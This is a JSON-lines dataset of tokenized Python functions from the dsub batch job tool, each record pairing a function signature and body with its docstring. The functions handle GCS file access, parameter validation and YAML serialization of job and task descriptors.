{"signature": "@contextmanager<EOL>def replace_print(fileobj=sys.stderr):", "body": "printer = _Printer(fileobj)<EOL>previous_stdout = sys.stdout<EOL>sys.stdout = printer<EOL>try:<EOL><INDENT>yield printer<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout = previous_stdout<EOL><DEDENT>", "docstring": "Sys.out replacer, by default with stderr.\n\n    Use it like this:\n    with replace_print_with(fileobj):\n      print \"hello\"  # writes to the file\n    print \"done\"  # prints to stdout\n\n    Args:\n      fileobj: a file object to replace stdout.\n\n    Yields:\n      The printer.", "id": "f6191:m1"}
{"signature": "def print_error(msg):", "body": "print(msg, file=sys.stderr)<EOL>", "docstring": "Utility routine to emit messages to stderr.", "id": "f6191:m2"}
{"signature": "def get_os_user():", "body": "return pwd.getpwuid(os.getuid())[<NUM_LIT:0>]<EOL>", "docstring": "Returns the current OS user, this may be different from the dsub user.", "id": "f6191:m3"}
{"signature": "def tasks_to_job_ids(task_list):", "body": "return set([t.get_field('<STR_LIT>') for t in task_list])<EOL>", "docstring": "Returns the set of job IDs for the given tasks.", "id": "f6191:m4"}
{"signature": "def compact_interval_string(value_list):", "body": "if not value_list:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>value_list.sort()<EOL>interval_list = []<EOL>curr = []<EOL>for val in value_list:<EOL><INDENT>if curr and (val > curr[-<NUM_LIT:1>] + <NUM_LIT:1>):<EOL><INDENT>interval_list.append((curr[<NUM_LIT:0>], curr[-<NUM_LIT:1>]))<EOL>curr = [val]<EOL><DEDENT>else:<EOL><INDENT>curr.append(val)<EOL><DEDENT><DEDENT>if curr:<EOL><INDENT>interval_list.append((curr[<NUM_LIT:0>], curr[-<NUM_LIT:1>]))<EOL><DEDENT>return '<STR_LIT:U+002C>'.join([<EOL>'<STR_LIT>'.format(pair[<NUM_LIT:0>], pair[<NUM_LIT:1>]) if pair[<NUM_LIT:0>] != pair[<NUM_LIT:1>] else str(pair[<NUM_LIT:0>])<EOL>for pair in interval_list<EOL>])<EOL>", "docstring": "Compact a list of integers into a comma-separated string of intervals.\n\n    Args:\n      value_list: A list of sortable integers such as a list of numbers\n\n    Returns:\n      A compact string representation, such as \"1-5,8,12-15\"", "id": "f6191:m5"}
{"signature": "def _get_storage_service(credentials):", "body": "if credentials is None:<EOL><INDENT>credentials = oauth2client.client.GoogleCredentials.get_application_default(<EOL>)<EOL><DEDENT>return discovery.build('<STR_LIT>', '<STR_LIT>', credentials=credentials)<EOL>", "docstring": "Get a storage client using the provided credentials or defaults.", "id": "f6191:m6"}
{"signature": "def _retry_storage_check(exception):", "body": "now = datetime.now().strftime('<STR_LIT>')<EOL>print_error(<EOL>'<STR_LIT>' % (now, type(exception).__name__, str(exception)))<EOL>return isinstance(exception, oauth2client.client.AccessTokenRefreshError)<EOL>", "docstring": "Return True if we should retry, False otherwise.", "id": "f6191:m7"}
{"signature": "def _load_file_from_gcs(gcs_file_path, credentials=None):", "body": "gcs_service = _get_storage_service(credentials)<EOL>bucket_name, object_name = gcs_file_path[len('<STR_LIT>'):].split('<STR_LIT:/>', <NUM_LIT:1>)<EOL>request = gcs_service.objects().get_media(<EOL>bucket=bucket_name, object=object_name)<EOL>file_handle = io.BytesIO()<EOL>downloader = MediaIoBaseDownload(file_handle, request, chunksize=<NUM_LIT> * <NUM_LIT>)<EOL>done = False<EOL>while not done:<EOL><INDENT>_, done = _downloader_next_chunk(downloader)<EOL><DEDENT>filevalue = file_handle.getvalue()<EOL>if not isinstance(filevalue, six.string_types):<EOL><INDENT>filevalue = filevalue.decode()<EOL><DEDENT>return six.StringIO(filevalue)<EOL>", "docstring": "Load context from a text file in gcs.\n\n    Args:\n      gcs_file_path: The target file path; should have the 'gs://' prefix.\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Returns:\n      The content of the text file as a string.", "id": "f6191:m9"}
{"signature": "def load_file(file_path, credentials=None):", "body": "if file_path.startswith('<STR_LIT>'):<EOL><INDENT>return _load_file_from_gcs(file_path, credentials)<EOL><DEDENT>else:<EOL><INDENT>return open(file_path, '<STR_LIT:r>')<EOL><DEDENT>", "docstring": "Load a file from either local or gcs.\n\n    Args:\n      file_path: The target file path, which should have the prefix 'gs://' if\n                 to be loaded from gcs.\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Returns:\n      A python File object if loading file from local or a StringIO object if\n      loading from gcs.", "id": "f6191:m10"}
{"signature": "@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT>,<EOL>retry_on_exception=_retry_storage_check,<EOL>wait_exponential_multiplier=<NUM_LIT:1000>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>def _file_exists_in_gcs(gcs_file_path, credentials=None):", "body": "gcs_service = _get_storage_service(credentials)<EOL>bucket_name, object_name = gcs_file_path[len('<STR_LIT>'):].split('<STR_LIT:/>', <NUM_LIT:1>)<EOL>request = gcs_service.objects().get(<EOL>bucket=bucket_name, object=object_name, projection='<STR_LIT>')<EOL>try:<EOL><INDENT>request.execute()<EOL>return True<EOL><DEDENT>except errors.HttpError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check whether the file exists, in GCS.\n\n    Args:\n      gcs_file_path: The target file path; should have the 'gs://' prefix.\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Returns:\n      True if the file's there.", "id": "f6191:m11"}
{"signature": "def file_exists(file_path, credentials=None):", "body": "if file_path.startswith('<STR_LIT>'):<EOL><INDENT>return _file_exists_in_gcs(file_path, credentials)<EOL><DEDENT>else:<EOL><INDENT>return os.path.isfile(file_path)<EOL><DEDENT>", "docstring": "Check whether the file exists, on local disk or GCS.\n\n    Args:\n      file_path: The target file path; should have the 'gs://' prefix if in gcs.\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Returns:\n      True if the file's there.", "id": "f6191:m12"}
{"signature": "@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT>,<EOL>retry_on_exception=_retry_storage_check,<EOL>wait_exponential_multiplier=<NUM_LIT>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>def _prefix_exists_in_gcs(gcs_prefix, credentials=None):", "body": "gcs_service = _get_storage_service(credentials)<EOL>bucket_name, prefix = gcs_prefix[len('<STR_LIT>'):].split('<STR_LIT:/>', <NUM_LIT:1>)<EOL>request = gcs_service.objects().list(<EOL>bucket=bucket_name, prefix=prefix, maxResults=<NUM_LIT:1>)<EOL>response = request.execute()<EOL>return response.get('<STR_LIT>', None)<EOL>", "docstring": "Check whether there is a GCS object whose name starts with the prefix.\n\n    Since GCS doesn't actually have folders, this is how we check instead.\n\n    Args:\n      gcs_prefix: The path; should start with 'gs://'.\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Returns:\n      True if the prefix matches at least one object in GCS.\n\n    Raises:\n      errors.HttpError: if it can't talk to the server", "id": "f6191:m13"}
{"signature": "@retrying.retry(<EOL>stop_max_attempt_number=<NUM_LIT>,<EOL>retry_on_exception=_retry_storage_check,<EOL>wait_exponential_multiplier=<NUM_LIT:1000>,<EOL>wait_exponential_max=<NUM_LIT>)<EOL>def simple_pattern_exists_in_gcs(file_pattern, credentials=None):", "body": "if '<STR_LIT:*>' not in file_pattern:<EOL><INDENT>return _file_exists_in_gcs(file_pattern, credentials)<EOL><DEDENT>if not file_pattern.startswith('<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>gcs_service = _get_storage_service(credentials)<EOL>bucket_name, prefix = file_pattern[len('<STR_LIT>'):].split('<STR_LIT:/>', <NUM_LIT:1>)<EOL>if '<STR_LIT:*>' in bucket_name:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>assert '<STR_LIT:*>' in prefix<EOL>prefix_no_wildcard = prefix[:prefix.index('<STR_LIT:*>')]<EOL>request = gcs_service.objects().list(<EOL>bucket=bucket_name, prefix=prefix_no_wildcard)<EOL>response = request.execute()<EOL>if '<STR_LIT>' not in response:<EOL><INDENT>return False<EOL><DEDENT>items_list = [i['<STR_LIT:name>'] for i in response['<STR_LIT>']]<EOL>return any(fnmatch.fnmatch(i, prefix) for i in items_list)<EOL>", "docstring": "True iff an object exists matching the input GCS pattern.\n\n    The GCS pattern must be a full object reference or a \"simple pattern\" that\n    conforms to the dsub input and output parameter restrictions:\n\n      * No support for **, ? wildcards or [] character ranges\n      * Wildcards may only appear in the file name\n\n    Args:\n      file_pattern: eg. 'gs://foo/ba*'\n      credentials: Optional credential to be used to load the file from gcs.\n\n    Raises:\n      ValueError: if file_pattern breaks the rules.\n\n    Returns:\n      True iff a file exists that matches that pattern.", "id": "f6191:m15"}
{"signature": "def outputs_are_present(outputs):", "body": "<EOL>for o in outputs:<EOL><INDENT>if not o.value:<EOL><INDENT>continue<EOL><DEDENT>if o.recursive:<EOL><INDENT>if not folder_exists(o.value):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not simple_pattern_exists_in_gcs(o.value):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "True if each output contains at least one file or no output specified.", "id": "f6191:m16"}
{"signature": "def __lt__(self, other):", "body": "<EOL>if self.priority == other.priority:<EOL><INDENT>localkeys = self.next_value.keys()<EOL>otherkeys = other.next_value.keys()<EOL>shared_keys = sorted(set(localkeys).intersection(otherkeys))<EOL>for key in shared_keys:<EOL><INDENT>if self.next_value[key] != other.next_value[key]:<EOL><INDENT>return self.next_value[key] < other.next_value[key]<EOL><DEDENT><DEDENT><DEDENT>return self.priority < other.priority<EOL>", "docstring": "Allow order testing via '<' operator, needed by priority queue.", "id": "f6192:c0:m1"}
{"signature": "def __init__(self, message, error_list, launched_job):", "body": "super(JobError, self).__init__(message)<EOL>self.message = message<EOL>self.error_list = error_list<EOL>self.launched_job = launched_job<EOL>", "docstring": "Create a JobError to indicate something went wrong.\n\n        Args:\n            message: user-friendly message\n            error_list: what went wrong\n            launched_job: if the job is launched, but has errors in\n              \"--wait\"ing on the tasks.", "id": "f6193:c0:m0"}
{"signature": "def validate_param_name(name, param_type):", "body": "<EOL>if not re.match(r'<STR_LIT>', name):<EOL><INDENT>raise ValueError('<STR_LIT>' % (param_type, name))<EOL><DEDENT>", "docstring": "Validate that the name follows posix conventions for env variables.", "id": "f6194:m0"}
{"signature": "def validate_bucket_name(bucket):", "body": "if not bucket.startswith('<STR_LIT>'):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % bucket)<EOL><DEDENT>bucket_name = bucket[len('<STR_LIT>'):]<EOL>if not re.search(r'<STR_LIT>', bucket_name):<EOL><INDENT>raise ValueError('<STR_LIT>' % bucket)<EOL><DEDENT>", "docstring": "Validate that the name is a valid GCS bucket.", "id": "f6194:m1"}
{"signature": "def convert_to_label_chars(s):", "body": "<EOL>accepted_characters = string.ascii_lowercase + string.digits + '<STR_LIT:->'<EOL>def label_char_transform(char):<EOL><INDENT>if char in accepted_characters:<EOL><INDENT>return char<EOL><DEDENT>if char in string.ascii_uppercase:<EOL><INDENT>return char.lower()<EOL><DEDENT>return '<STR_LIT:->'<EOL><DEDENT>return '<STR_LIT>'.join(label_char_transform(c) for c in s)<EOL>", "docstring": "Turn the specified name and value into a valid Google label.", "id": "f6194:m2"}
{"signature": "def ensure_job_params_are_complete(job_params):", "body": "for param in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]:<EOL><INDENT>if not job_params.get(param):<EOL><INDENT>job_params[param] = set()<EOL><DEDENT><DEDENT>", "docstring": "For the job, ensure that each param entry is not None.", "id": "f6194:m3"}
{"signature": "def ensure_task_params_are_complete(task_descriptors):", "body": "for task_desc in task_descriptors:<EOL><INDENT>for param in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]:<EOL><INDENT>if not task_desc.task_params.get(param):<EOL><INDENT>task_desc.task_params[param] = set()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "For each task, ensure that each task param entry is not None.", "id": "f6194:m4"}
{"signature": "def _remove_empty_items(d, required):", "body": "new_dict = {}<EOL>for k, v in d.items():<EOL><INDENT>if k in required:<EOL><INDENT>new_dict[k] = v<EOL><DEDENT>elif isinstance(v, int) or v:<EOL><INDENT>new_dict[k] = v<EOL><DEDENT><DEDENT>return new_dict<EOL>", "docstring": "Return a new dict with any empty items removed.\n\n    Note that this is not a deep check. If d contains a dictionary which\n    itself contains empty items, those are never checked.\n\n    This method exists to make to_serializable() functions cleaner.\n    We could revisit this some day, but for now, the serialized objects are\n    stripped of empty values to keep the output YAML more compact.\n\n    Args:\n      d: a dictionary\n      required: list of required keys (for example, TaskDescriptors always emit\n        the \"task-id\", even if None)\n\n    Returns:\n      A dictionary with empty items removed.", "id": "f6194:m5"}
{"signature": "def task_view_generator(job_descriptor):", "body": "for task_descriptor in job_descriptor.task_descriptors:<EOL><INDENT>jd = JobDescriptor(job_descriptor.job_metadata, job_descriptor.job_params,<EOL>job_descriptor.job_resources, [task_descriptor])<EOL>yield jd<EOL><DEDENT>", "docstring": "Generator that yields a task-specific view of the job.\n\n    This generator exists to make it easy for callers to iterate over the tasks\n    in a JobDescriptor. Each pass yields a new JobDescriptor with a single task.\n\n    Args:\n      job_descriptor: A JobDescriptor with 1 or more tasks.\n\n    Yields:\n      A JobDescriptor with a single task.", "id": "f6194:m6"}
{"signature": "def numeric_task_id(task_id):", "body": "<EOL>if task_id is not None:<EOL><INDENT>if task_id.startswith('<STR_LIT>'):<EOL><INDENT>return int(task_id[len('<STR_LIT>'):])<EOL><DEDENT>else:<EOL><INDENT>return int(task_id)<EOL><DEDENT><DEDENT>", "docstring": "Converts a task-id to the numeric task-id.\n\n    Args:\n      task_id: task-id in either task-n or n format\n\n    Returns:\n      n", "id": "f6194:m7"}
{"signature": "@classmethod<EOL><INDENT>def _validate_label(cls, name, value):<DEDENT>", "body": "<EOL>cls._check_label_name(name)<EOL>cls._check_label_value(value)<EOL>if not cls._allow_reserved_keys and name in RESERVED_LABELS:<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>(name, list(RESERVED_LABELS)))<EOL><DEDENT>", "docstring": "Raise ValueError if the label is invalid.", "id": "f6194:c4:m1"}
{"signature": "def to_serializable(self):", "body": "task_metadata = self.task_metadata<EOL>task_params = self.task_params<EOL>task_resources = self.task_resources<EOL>task_id = None<EOL>if task_metadata.get('<STR_LIT>') is not None:<EOL><INDENT>task_id = str(task_metadata.get('<STR_LIT>'))<EOL><DEDENT>task = {'<STR_LIT>': task_id}<EOL>task['<STR_LIT>'] = task_metadata.get('<STR_LIT>')<EOL>task['<STR_LIT>'] = task_metadata.get('<STR_LIT>')<EOL>if task_resources.logging_path:<EOL><INDENT>task['<STR_LIT>'] = str(task_resources.logging_path.uri)<EOL><DEDENT>task['<STR_LIT>'] = {var.name: var.value for var in task_params['<STR_LIT>']}<EOL>task['<STR_LIT>'] = {var.name: var.value for var in task_params['<STR_LIT>']}<EOL>task['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in task_params['<STR_LIT>']<EOL>if not var.recursive<EOL>}<EOL>task['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in task_params['<STR_LIT>']<EOL>if var.recursive<EOL>}<EOL>task['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in task_params['<STR_LIT>']<EOL>if not var.recursive<EOL>}<EOL>task['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in task_params['<STR_LIT>']<EOL>if var.recursive<EOL>}<EOL>return _remove_empty_items(task, ['<STR_LIT>'])<EOL>", "docstring": "Return a dict populated for serialization (as YAML/JSON).", "id": "f6194:c13:m4"}
{"signature": "def to_serializable(self):", "body": "job_metadata = self.job_metadata<EOL>job_resources = self.job_resources<EOL>job_params = self.job_params<EOL>task_descriptors = self.task_descriptors<EOL>job = {<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata.get('<STR_LIT>'),<EOL>'<STR_LIT>': job_metadata['<STR_LIT>'].name,<EOL>}<EOL>if job_resources.logging:<EOL><INDENT>job['<STR_LIT>'] = str(job_resources.logging.uri)<EOL><DEDENT>job['<STR_LIT>'] = {var.name: var.value for var in job_params['<STR_LIT>']}<EOL>job['<STR_LIT>'] = {var.name: var.value for var in job_params['<STR_LIT>']}<EOL>job['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in job_params['<STR_LIT>']<EOL>if not var.recursive<EOL>}<EOL>job['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in job_params['<STR_LIT>']<EOL>if var.recursive<EOL>}<EOL>job['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in job_params['<STR_LIT>']<EOL>if not var.recursive<EOL>}<EOL>job['<STR_LIT>'] = {<EOL>var.name: var.value<EOL>for var in job_params['<STR_LIT>']<EOL>if var.recursive<EOL>}<EOL>job['<STR_LIT>'] = {var.name: var.value for var in job_params['<STR_LIT>']}<EOL>tasks = []<EOL>for task_descriptor in task_descriptors:<EOL><INDENT>tasks.append(task_descriptor.to_serializable())<EOL><DEDENT>job['<STR_LIT>'] = tasks<EOL>return _remove_empty_items(job, [])<EOL>", "docstring": "Return a dict populated for serialization (as YAML/JSON).", "id": "f6194:c14:m4"}
{"signature": "def to_yaml(self):", "body": "return yaml.dump(self.to_serializable(), default_flow_style=False)<EOL>", "docstring": "Return a YAML string representing the job and task data.\n\n        A provider's internal representation of a dsub task typically does not map\n        1-1 to the dsub representation. For example, the Google Genomics Pipeline\n        does not natively support \"input-recursive\" or \"output-recursive\", so the\n        google provider cannot easily reconstruct the user inputs from the\n        pipeline's associated Operation object.\n\n        All providers are likely to need a way to reliably serialize job and task-\n        related information, either for dstat or for any type of \"retry\" mechanism\n        we might want to build.\n\n        Returns:\n          YAML string", "id": "f6194:c14:m5"}
{"signature": "@classmethod<EOL><INDENT>def _from_yaml_v0(cls, job):<DEDENT>", "body": "<EOL>job_metadata = {}<EOL>for key in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>job_metadata[key] = job.get(key)<EOL><DEDENT>job_metadata['<STR_LIT>'] = dsub_util.replace_timezone(<EOL>datetime.datetime.strptime(job['<STR_LIT>'], '<STR_LIT>'),<EOL>tzlocal())<EOL>job_resources = Resources()<EOL>params = {}<EOL>labels = job.get('<STR_LIT>', {})<EOL>if '<STR_LIT>' in labels:<EOL><INDENT>job_metadata['<STR_LIT>'] = labels['<STR_LIT>']<EOL>del labels['<STR_LIT>']<EOL><DEDENT>params['<STR_LIT>'] = cls._label_params_from_dict(labels)<EOL>params['<STR_LIT>'] = cls._env_params_from_dict(job.get('<STR_LIT>', {}))<EOL>params['<STR_LIT>'] = cls._input_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), False)<EOL>params['<STR_LIT>'] = cls._output_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), False)<EOL>if job.get('<STR_LIT>') is None:<EOL><INDENT>job_params = params<EOL>task_metadata = {'<STR_LIT>': None}<EOL>task_params = {}<EOL><DEDENT>else:<EOL><INDENT>job_params = {}<EOL>task_metadata = {'<STR_LIT>': str(job.get('<STR_LIT>'))}<EOL>task_params = params<EOL><DEDENT>task_resources = Resources(logging_path=job.get('<STR_LIT>'))<EOL>task_descriptors = [<EOL>TaskDescriptor.get_complete_descriptor(task_metadata, task_params,<EOL>task_resources)<EOL>]<EOL>return JobDescriptor.get_complete_descriptor(<EOL>job_metadata, job_params, job_resources, task_descriptors)<EOL>", "docstring": "Populate a JobDescriptor from the local provider's original meta.yaml.\n\n        The local job provider had the first incarnation of a YAML file for each\n        task. That idea was extended here in the JobDescriptor and the local\n        provider adopted the JobDescriptor.to_yaml() call to write its meta.yaml.\n\n        The JobDescriptor.from_yaml() detects if it receives a local provider's\n        \"v0\" meta.yaml and calls this function.\n\n        Args:\n          job: an object produced from decoding meta.yaml.\n\n        Returns:\n          A JobDescriptor populated as best we can from the old meta.yaml.", "id": "f6194:c14:m11"}
{"signature": "@classmethod<EOL><INDENT>def from_yaml(cls, yaml_string):<DEDENT>", "body": "try:<EOL><INDENT>job = yaml.full_load(yaml_string)<EOL><DEDENT>except AttributeError:<EOL><INDENT>job = yaml.load(yaml_string)<EOL><DEDENT>dsub_version = job.get('<STR_LIT>')<EOL>if not dsub_version:<EOL><INDENT>return cls._from_yaml_v0(job)<EOL><DEDENT>job_metadata = {}<EOL>for key in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]:<EOL><INDENT>if job.get(key) is not None:<EOL><INDENT>job_metadata[key] = job.get(key)<EOL><DEDENT><DEDENT>job_metadata['<STR_LIT>'] = dsub_util.replace_timezone(<EOL>job.get('<STR_LIT>'), pytz.utc)<EOL>job_resources = Resources(logging=job.get('<STR_LIT>'))<EOL>job_params = {}<EOL>job_params['<STR_LIT>'] = cls._label_params_from_dict(job.get('<STR_LIT>', {}))<EOL>job_params['<STR_LIT>'] = cls._env_params_from_dict(job.get('<STR_LIT>', {}))<EOL>job_params['<STR_LIT>'] = cls._input_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), False)<EOL>job_params['<STR_LIT>'] = cls._input_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), True)<EOL>job_params['<STR_LIT>'] = cls._output_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), False)<EOL>job_params['<STR_LIT>'] = cls._output_file_params_from_dict(<EOL>job.get('<STR_LIT>', {}), True)<EOL>job_params['<STR_LIT>'] = cls._mount_params_from_dict(job.get('<STR_LIT>', {}))<EOL>task_descriptors = []<EOL>for task in job.get('<STR_LIT>', []):<EOL><INDENT>task_metadata = {'<STR_LIT>': task.get('<STR_LIT>')}<EOL>create_time = task.get('<STR_LIT>')<EOL>if create_time:<EOL><INDENT>task_metadata['<STR_LIT>'] = dsub_util.replace_timezone(<EOL>create_time, pytz.utc)<EOL><DEDENT>if task.get('<STR_LIT>') is not None:<EOL><INDENT>task_metadata['<STR_LIT>'] = task.get('<STR_LIT>')<EOL><DEDENT>task_params = {}<EOL>task_params['<STR_LIT>'] = cls._label_params_from_dict(<EOL>task.get('<STR_LIT>', {}))<EOL>task_params['<STR_LIT>'] = cls._env_params_from_dict(task.get('<STR_LIT>', {}))<EOL>task_params['<STR_LIT>'] = cls._input_file_params_from_dict(<EOL>task.get('<STR_LIT>', {}), False)<EOL>task_params['<STR_LIT>'] = cls._input_file_params_from_dict(<EOL>task.get('<STR_LIT>', {}), True)<EOL>task_params['<STR_LIT>'] = cls._output_file_params_from_dict(<EOL>task.get('<STR_LIT>', {}), False)<EOL>task_params['<STR_LIT>'] = cls._output_file_params_from_dict(<EOL>task.get('<STR_LIT>', {}), True)<EOL>task_resources = Resources(logging_path=task.get('<STR_LIT>'))<EOL>task_descriptors.append(<EOL>TaskDescriptor(task_metadata, task_params, task_resources))<EOL><DEDENT>return JobDescriptor(job_metadata, job_params, job_resources,<EOL>task_descriptors)<EOL>", "docstring": "Populate and return a JobDescriptor from a YAML string.", "id": "f6194:c14:m12"}
{"signature": "def find_task_descriptor(self, task_id):", "body": "<EOL>for task_descriptor in self.task_descriptors:<EOL><INDENT>if task_descriptor.task_metadata.get('<STR_LIT>') == task_id:<EOL><INDENT>return task_descriptor<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the task_descriptor corresponding to task_id.", "id": "f6194:c14:m13"}
{"signature": "def get_file_environment_variables(file_params):", "body": "env = {}<EOL>for param in file_params:<EOL><INDENT>env[param.name] = os.path.join(<EOL>DATA_MOUNT_POINT, param.docker_path.rstrip('<STR_LIT:/>')) if param.value else '<STR_LIT>'<EOL><DEDENT>return env<EOL>", "docstring": "Return a dictionary of environment variables for the user container.", "id": "f6195:m0"}
{"signature": "def build_recursive_localize_env(destination, inputs):", "body": "export_input_dirs = '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(var.name, destination.rstrip('<STR_LIT:/>'),<EOL>var.docker_path.rstrip('<STR_LIT:/>'))<EOL>for var in inputs<EOL>if var.recursive and var.docker_path<EOL>])<EOL>return export_input_dirs<EOL>", "docstring": "Return a multi-line string with export statements for the variables.\n\n    Arguments:\n      destination: Folder where the data will be put.\n                   For example /mnt/data\n      inputs: a list of InputFileParam\n\n    Returns:\n      a multi-line string with a shell script that sets environment variables\n      corresponding to the inputs.", "id": "f6195:m1"}
{"signature": "def build_recursive_localize_command(destination, inputs, file_provider):", "body": "command = _LOCALIZE_COMMAND_MAP[file_provider]<EOL>filtered_inputs = [<EOL>var for var in inputs<EOL>if var.recursive and var.file_provider == file_provider<EOL>]<EOL>copy_input_dirs = '<STR_LIT:\\n>'.join([<EOL>textwrap.dedent(\"\"\"<STR_LIT>\"\"\").format(<EOL>command=command,<EOL>source_uri=var.uri,<EOL>data_mount=destination.rstrip('<STR_LIT:/>'),<EOL>docker_path=var.docker_path) for var in filtered_inputs<EOL>])<EOL>return copy_input_dirs<EOL>", "docstring": "Return a multi-line string with a shell script to copy recursively.\n\n    Arguments:\n      destination: Folder where to put the data.\n                   For example /mnt/data\n      inputs: a list of InputFileParam\n      file_provider: file provider string used to filter the output params; the\n                   returned command will only apply outputs whose file provider\n                   matches this file filter.\n\n    Returns:\n      a multi-line string with a shell script that copies the inputs\n      recursively from GCS.", "id": "f6195:m2"}
{"signature": "def build_recursive_gcs_delocalize_env(source, outputs):", "body": "filtered_outs = [<EOL>var for var in outputs<EOL>if var.recursive and var.file_provider == job_model.P_GCS<EOL>]<EOL>return '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(var.name,<EOL>source.rstrip('<STR_LIT:/>'),<EOL>var.docker_path.rstrip('<STR_LIT:/>'))<EOL>for var in filtered_outs<EOL>])<EOL>", "docstring": "Return a multi-line string with export statements for the variables.\n\n    Arguments:\n      source: Folder with the data.\n              For example /mnt/data\n      outputs: a list of OutputFileParam\n\n    Returns:\n      a multi-line string with a shell script that sets environment variables\n      corresponding to the outputs.", "id": "f6195:m3"}
{"signature": "def build_recursive_delocalize_command(source, outputs, file_provider):", "body": "command = _LOCALIZE_COMMAND_MAP[file_provider]<EOL>filtered_outputs = [<EOL>var for var in outputs<EOL>if var.recursive and var.file_provider == file_provider<EOL>]<EOL>return '<STR_LIT:\\n>'.join([<EOL>textwrap.dedent(\"\"\"<STR_LIT>\"\"\").format(<EOL>command=command,<EOL>data_mount=source.rstrip('<STR_LIT:/>'),<EOL>docker_path=var.docker_path,<EOL>destination_uri=var.uri) for var in filtered_outputs<EOL>])<EOL>", "docstring": "Return a multi-line string with a shell script to copy recursively.\n\n    Arguments:\n      source: Folder with the data.\n              For example /mnt/data\n      outputs: a list of OutputFileParam.\n      file_provider: file provider string used to filter the output params; the\n                   returned command will only apply outputs whose file provider\n                   matches this file filter.\n\n    Returns:\n      a multi-line string with a shell script that copies the inputs\n      recursively to GCS.", "id": "f6195:m4"}
{"signature": "def get_task_metadata(job_metadata, task_id):", "body": "task_metadata = job_metadata.copy()<EOL>task_metadata['<STR_LIT>'] = task_id<EOL>return task_metadata<EOL>", "docstring": "Returns a dict combining job metadata with the task id.", "id": "f6195:m5"}
{"signature": "def build_mount_env(source, mounts):", "body": "return '<STR_LIT:\\n>'.join([<EOL>'<STR_LIT>'.format(var.name, source.rstrip('<STR_LIT:/>'),<EOL>var.docker_path.rstrip('<STR_LIT:/>')) for var in mounts<EOL>])<EOL>", "docstring": "Return a multi-line string with export statements for the variables.\n\n    Arguments:\n      source: Folder with the data. For example /mnt/data\n      mounts: a list of MountParam\n\n    Returns:\n      a multi-line string with a shell script that sets environment variables\n      corresponding to the mounts.", "id": "f6195:m6"}
{"signature": "def get_job_and_task_param(job_params, task_params, field):", "body": "return job_params.get(field, set()) | task_params.get(field, set())<EOL>", "docstring": "Returns a dict combining the field for job and task params.", "id": "f6195:m7"}
{"signature": "@classmethod<EOL><INDENT>def _build_pipeline_input_file_param(cls, var_name, docker_path):<DEDENT>", "body": "<EOL>path, filename = os.path.split(docker_path)<EOL>if '<STR_LIT:*>' in filename:<EOL><INDENT>return cls._build_pipeline_file_param(var_name, path + '<STR_LIT:/>')<EOL><DEDENT>else:<EOL><INDENT>return cls._build_pipeline_file_param(var_name, docker_path)<EOL><DEDENT>", "docstring": "Return a dict object representing a pipeline input argument.", "id": "f6197:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def _build_pipeline_file_param(cls, var_name, docker_path):<DEDENT>", "body": "return {<EOL>'<STR_LIT:name>': var_name,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:path>': docker_path,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>}<EOL>", "docstring": "Return a dict object representing a pipeline input or output argument.", "id": "f6197:c0:m1"}
